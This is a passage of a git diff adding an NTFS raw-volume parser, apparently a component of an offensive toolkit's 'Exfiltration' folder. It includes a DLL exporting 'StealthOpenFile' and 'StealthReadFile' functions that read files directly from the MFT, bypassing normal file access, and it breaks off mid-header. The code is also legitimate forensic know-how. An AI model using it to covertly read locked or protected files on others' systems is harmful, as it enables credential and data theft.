+{ + _ASSERT(seCallBack); + + // Start traversing from IndexRoot (B+ tree root node) + + CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT); + if (ir == NULL || !ir->IsFileName()) + return; + + CIndexEntryList *ieList = (CIndexEntryList*)ir; + CIndexEntry *ie = ieList->FindFirstEntry(); + while (ie) + { + // Visit subnode first + if (ie->IsSubNodePtr()) + TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); + + if (ie->HasName()) + seCallBack(ie); + + ie = ieList->FindNextEntry(); + } +} + +// Find a specific FileName from InexRoot described B+ tree +__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const +{ + // Start searching from IndexRoot (B+ tree root node) + CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT); + if (ir == NULL || !ir->IsFileName()) + return FALSE; + + CIndexEntryList *ieList = (CIndexEntryList*)ir; + CIndexEntry *ie = ieList->FindFirstEntry(); + while (ie) + { + if (ie->HasName()) + { + // Compare name + int i = ie->Compare(fileName); + if (i == 0) + { + ieFound = *ie; + return TRUE; + } + else if (i < 0) // fileName is smaller than IndexEntry + { + // Visit SubNode + if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock) + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + else + return FALSE; // not found + } + // Just step forward if fileName is bigger than IndexEntry + } + else if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock) + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + + ie = ieList->FindNextEntry(); + } + + return FALSE; +} + +// Find Data attribute class of +const CAttrBase* CFileRecord::FindStream(_TCHAR *name) +{ + const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA); + while (data) + { + if (data->IsUnNamed() && name == NULL) // Unnamed stream + break; + if ((!data->IsUnNamed()) && name) // Named stream + { + _TCHAR an[MAX_PATH]; + if (data->GetAttrName(an, MAX_PATH)) + { + if (_tcscmp(an, name) == 0) + break; + } + } + + data = FindNextAttr(ATTR_TYPE_DATA); + } + + return data; +} + +// Check if it's deleted or in use +__inline BOOL CFileRecord::IsDeleted() const +{ + return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE); +} + +// Check if it's a directory +__inline BOOL CFileRecord::IsDirectory() const +{ + return FileRecord->Flags & FILE_RECORD_FLAG_DIR; +} + +__inline BOOL CFileRecord::IsReadOnly() const +{ + // Standard Information attribute holds the most updated file time + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsReadOnly() : FALSE; +} + +__inline BOOL CFileRecord::IsHidden() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsHidden() : FALSE; +} + +__inline BOOL CFileRecord::IsSystem() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsSystem() : FALSE; +} + +__inline BOOL CFileRecord::IsCompressed() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsCompressed() : FALSE; +} + +__inline BOOL CFileRecord::IsEncrypted() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsEncrypted() : FALSE; +} + +__inline BOOL CFileRecord::IsSparse() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsSparse() : FALSE; +} + + +/////////////////////////////////////// +// NTFS Volume Implementation +/////////////////////////////////////// +CNTFSVolume::CNTFSVolume(_TCHAR volume) +{ + hVolume = INVALID_HANDLE_VALUE; + VolumeOK = FALSE; + MFTRecord = NULL; + MFTData = NULL; + Version = 0; + ClearAttrRawCB(); + + if (!OpenVolume(volume)) + return; + + // Verify NTFS volume version (must >= 3.0) + + CFileRecord vol(this); + vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION); + if (!vol.ParseFileRecord(MFT_IDX_VOLUME)) + return; + + vol.ParseAttrs(); + CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION); + if (!vi) + return; + + Version = vi->GetVersion(); + NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version)); + if (Version < 0x0300) // NT4 ? + return; + +#ifdef _DEBUG + CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME); + if (vn) + { + char volname[MAX_PATH]; + if (vn->GetName(volname, MAX_PATH) > 0) + { + NTFS_TRACE1("NTFS volume name: %s\n", volname); + } + } +#endif + + VolumeOK = TRUE; + + MFTRecord = new CFileRecord(this); + MFTRecord->SetAttrMask(MASK_DATA); + if (MFTRecord->ParseFileRecord(MFT_IDX_MFT)) + { + MFTRecord->ParseAttrs(); + MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA); + if (MFTData == NULL) + { + delete MFTRecord; + MFTRecord = NULL; + } + } +} + +CNTFSVolume::~CNTFSVolume() +{ + if (hVolume != INVALID_HANDLE_VALUE) + CloseHandle(hVolume); + + if (MFTRecord) + delete MFTRecord; +} + +// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB +BOOL CNTFSVolume::OpenVolume(_TCHAR volume) +{ + // Verify parameter + if (!_istalpha(volume)) + { + NTFS_TRACE("Volume name error, should be like 'C', 'D'\n"); + return FALSE; + } + + _TCHAR volumePath[7]; + _sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume); + volumePath[6] = _T('\0'); + + hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL); + if (hVolume != INVALID_HANDLE_VALUE) + { + DWORD num; + NTFS_BPB bpb; + + // Read the first sector (boot sector) + if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512) + { + if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0) + { + // Log important volume parameters + + SectorSize = bpb.BytesPerSector; + NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize); + + ClusterSize = SectorSize * bpb.SectorsPerCluster; + NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize); + + int sz = (char)bpb.ClustersPerFileRecord; + if (sz > 0) + FileRecordSize = ClusterSize * sz; + else + FileRecordSize = 1 << (-sz); + NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize); + + sz = (char)bpb.ClustersPerIndexBlock; + if (sz > 0) + IndexBlockSize = ClusterSize * sz; + else + IndexBlockSize = 1 << (-sz); + NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize); + + MFTAddr = bpb.LCN_MFT * ClusterSize; + NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr); + } + else + { + NTFS_TRACE("Volume file system is not NTFS\n"); + goto IOError; + } + } + else + { + NTFS_TRACE("Read boot sector error\n"); + goto IOError; + } + } + else + { + NTFS_TRACE1("Cannnot open volume %c\n", (char)volume); +IOError: + if (hVolume != INVALID_HANDLE_VALUE) + { + CloseHandle(hVolume); + hVolume = INVALID_HANDLE_VALUE; + } + return FALSE; + } + + return TRUE; +} + +// Check if Volume is successfully opened +__inline BOOL CNTFSVolume::IsVolumeOK() const +{ + return VolumeOK; +} + +// Get NTFS volume version +__inline WORD CNTFSVolume::GetVersion() const +{ + return Version; +} + +// Get File Record count +__inline ULONGLONG CNTFSVolume::GetRecordsCount() const +{ + return (MFTData->GetDataSize() / FileRecordSize); +} + +// Get BPB information + +__inline DWORD CNTFSVolume::GetSectorSize() const +{ + return SectorSize; +} + +__inline DWORD CNTFSVolume::GetClusterSize() const +{ + return ClusterSize; +} + +__inline DWORD CNTFSVolume::GetFileRecordSize() const +{ + return FileRecordSize; +} + +__inline DWORD CNTFSVolume::GetIndexBlockSize() const +{ + return IndexBlockSize; +} + +// Get MFT starting address +__inline ULONGLONG CNTFSVolume::GetMFTAddr() const +{ + return MFTAddr; +} + +// Install Attribute CallBack routines for the whole Volume +BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb) +{ + DWORD atIdx = ATTR_INDEX(attrType); + if (atIdx < ATTR_NUMS) + { + AttrRawCallBack[atIdx] = cb; + return TRUE; + } + else + return FALSE; +} + +// Clear all Attribute CallBack routines +__inline void CNTFSVolume::ClearAttrRawCB() +{ + for (int i = 0; i < ATTR_NUMS; i ++) + AttrRawCallBack[i] = NULL; +} + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParser/ReadMe.txt b/Exfiltration/NTFSParser/NTFSParser/ReadMe.txt new file mode 100644 index 0000000..db26458 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/ReadMe.txt @@ -0,0 +1,40 @@ +======================================================================== + CONSOLE APPLICATION : NTFSParser Project Overview +======================================================================== + +AppWizard has created this NTFSParser application for you. + +This file contains a summary of what you will find in each of the files that +make up your NTFSParser application. + + +NTFSParser.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +NTFSParser.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +NTFSParser.cpp + This is the main application source file. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named NTFSParser.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/Exfiltration/NTFSParser/NTFSParser/stdafx.cpp b/Exfiltration/NTFSParser/NTFSParser/stdafx.cpp new file mode 100644 index 0000000..91c53ed --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// NTFSParser.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Exfiltration/NTFSParser/NTFSParser/stdafx.h b/Exfiltration/NTFSParser/NTFSParser/stdafx.h new file mode 100644 index 0000000..349be97 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/stdafx.h @@ -0,0 +1,17 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include <stdio.h> +#include <tchar.h> +#include <iostream> +#include <string> +#include <fstream> + + +// TODO: reference additional headers your program requires here diff --git a/Exfiltration/NTFSParser/NTFSParser/targetver.h b/Exfiltration/NTFSParser/NTFSParser/targetver.h new file mode 100644 index 0000000..87c0086 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include <SDKDDKVer.h> diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFS.h b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS.h new file mode 100644 index 0000000..ef6117b --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS.h @@ -0,0 +1,28 @@ +/* + * NTFS include files + * + * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com> + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_H_CYB70289 +#define __NTFS_H_CYB70289 + +#pragma pack(8) + +#include "NTFS_Common.h" +#include "NTFS_FileRecord.h" +#include "NTFS_Attribute.h" + +#pragma pack() + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.cpp b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.cpp new file mode 100644 index 0000000..e71d8ee --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.cpp @@ -0,0 +1,161 @@ +/* + * + * Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +// +// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com> + +#include "stdafx.h" +#include "NTFS.h" +#include "NTFS_DataType.h" + +using namespace std; + +struct FileInfo_t +{ + CNTFSVolume* volume; + CFileRecord* fileRecord; + CIndexEntry* indexEntry; + CAttrBase* data; +}; + +extern "C" HANDLE __declspec(dllexport) StealthOpenFile(char* filePathCStr) +{ + FileInfo_t* fileInfo = new FileInfo_t; + + string filePath = string(filePathCStr); + _TCHAR volumeName = filePath.at(0); + + fileInfo->volume = new CNTFSVolume(volumeName); + if (!fileInfo->volume->IsVolumeOK()) + { + return NULL; + } + + //Parse root directory + fileInfo->fileRecord = new CFileRecord(fileInfo->volume); + fileInfo->fileRecord->SetAttrMask(MASK_INDEX_ROOT | MASK_INDEX_ALLOCATION); + + if (!fileInfo->fileRecord->ParseFileRecord(MFT_IDX_ROOT)) + { + return NULL; + } + if (!fileInfo->fileRecord->ParseAttrs()) + { + return NULL; + } + + //Find subdirectory + fileInfo->indexEntry = new CIndexEntry; + int dirs = filePath.find(_T('\\'), 0); + int dire = filePath.find(_T('\\'), dirs+1); + + while (dire != string::npos) + { + string pathname = filePath.substr(dirs+1, dire-dirs-1); + const _TCHAR* pathnameCStr = (const _TCHAR*)pathname.c_str(); + if (fileInfo->fileRecord->FindSubEntry(pathnameCStr, *(fileInfo->indexEntry))) + { + if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference())) + { + return NULL; + } + + if (!fileInfo->fileRecord->ParseAttrs()) + { + if (fileInfo->fileRecord->IsCompressed()) + { + return NULL; + } + else if (fileInfo->fileRecord->IsEncrypted()) + { + return NULL; + } + else + { + return NULL; + } + } + } + else + { + return NULL; + } + + + dirs = dire; + dire = filePath.find(_T('\\'), dirs+1); + } + + string fileName = filePath.substr(dirs+1, filePath.size()-1); + const _TCHAR* fileNameCStr = (const _TCHAR*)fileName.c_str(); + if (fileInfo->fileRecord->FindSubEntry(fileNameCStr, *(fileInfo->indexEntry))) + { + if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference())) + { + return NULL; + } + + fileInfo->fileRecord->SetAttrMask(MASK_DATA); + if (!fileInfo->fileRecord->ParseAttrs()) + { + return NULL; + } + + fileInfo->data = (CAttrBase*)fileInfo->fileRecord->FindStream(); + + return fileInfo; + } + + return NULL; +} + + +extern "C" DWORD __declspec(dllexport) StealthReadFile(FileInfo_t* fileInfo, BYTE* buffer, DWORD bufferSize, ULONGLONG offset, DWORD* bytesRead, ULONGLONG* dataRemaining) +{ + + if (fileInfo->data) + { + ULONGLONG dataLength = (ULONGLONG)fileInfo->data->GetDataSize(); + ULONGLONG fullDataLength = dataLength; + + dataLength = dataLength - offset; + if (dataLength > bufferSize) + { + dataLength = bufferSize; + } + if (dataLength > MAXUINT32) + { + return 1; + } + + DWORD len; + if (fileInfo->data->ReadData(offset, buffer, dataLength, &len) && len == dataLength) + { + *bytesRead = len; + *dataRemaining = fullDataLength - len - offset; + return 0; //Success + } + return 3; + } + return 2; +} + + +extern "C" void __declspec(dllexport) StealthCloseFile(FileInfo_t* fileInfo) +{ + delete (fileInfo->data); + delete (fileInfo->indexEntry); + delete (fileInfo->volume); + delete fileInfo; +} diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj new file mode 100644 index 0000000..00f4963 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj @@ -0,0 +1,172 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{5E42B778-F231-4797-B7FD-7D5BCA9738D0}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>NTFSParserDLL</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>v110</PlatformToolset> + <CharacterSet>NotSet</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>v110</PlatformToolset> + <CharacterSet>NotSet</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>v110_xp</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>NotSet</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>v110_xp</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>NotSet</CharacterSet> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader>Use</PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader>Use</PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>Use</PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>Use</PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <Text Include="ReadMe.txt" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="stdafx.h" /> + <ClInclude Include="targetver.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="dllmain.cpp"> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + </PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + </PrecompiledHeader> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + </PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + </PrecompiledHeader> + </ClCompile> + <ClCompile Include="NTFSParserDLL.cpp" /> + <ClCompile Include="stdafx.cpp"> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader> + </ClCompile> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj.filters b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj.filters new file mode 100644 index 0000000..8bbd5fc --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj.filters @@ -0,0 +1,39 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Source Files"> + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> + <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> + </Filter> + <Filter Include="Header Files"> + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> + <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> + </Filter> + <Filter Include="Resource Files"> + <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier> + <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions> + </Filter> + </ItemGroup> + <ItemGroup> + <Text Include="ReadMe.txt" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="stdafx.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="targetver.h"> + <Filter>Header Files</Filter> + </ClInclude> + </ItemGroup> + <ItemGroup> + <ClCompile Include="stdafx.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="NTFSParserDLL.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="dllmain.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + </ItemGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Attribute.h b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Attribute.h new file mode 100644 index 0000000..19ab7ce --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Attribute.h @@ -0,0 +1,1663 @@ +/* + * NTFS Attribute Classes + * + * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com> + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_ATTRIBUTE_H_CYB70289 +#define __NTFS_ATTRIBUTE_H_CYB70289 + + +//////////////////////////////// +// List to hold parsed DataRuns +//////////////////////////////// +typedef struct tagDataRun_Entry +{ + LONGLONG LCN; // -1 to indicate sparse data + ULONGLONG Clusters; + ULONGLONG StartVCN; + ULONGLONG LastVCN; +} DataRun_Entry; +typedef class CSList<DataRun_Entry> CDataRunList; + +//////////////////////////////////// +// List to hold Index Entry objects +//////////////////////////////////// +class CIndexEntry; +typedef class CSList<CIndexEntry> CIndexEntryList; + + +//////////////////////////////// +// Attributes base class +//////////////////////////////// +class CAttrBase +{ +public: + CAttrBase(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrBase(); + +protected: + const ATTR_HEADER_COMMON *AttrHeader; + WORD _SectorSize; + DWORD _ClusterSize; + DWORD _IndexBlockSize; + HANDLE _hVolume; + const CFileRecord *FileRecord; + +public: + __inline const ATTR_HEADER_COMMON* 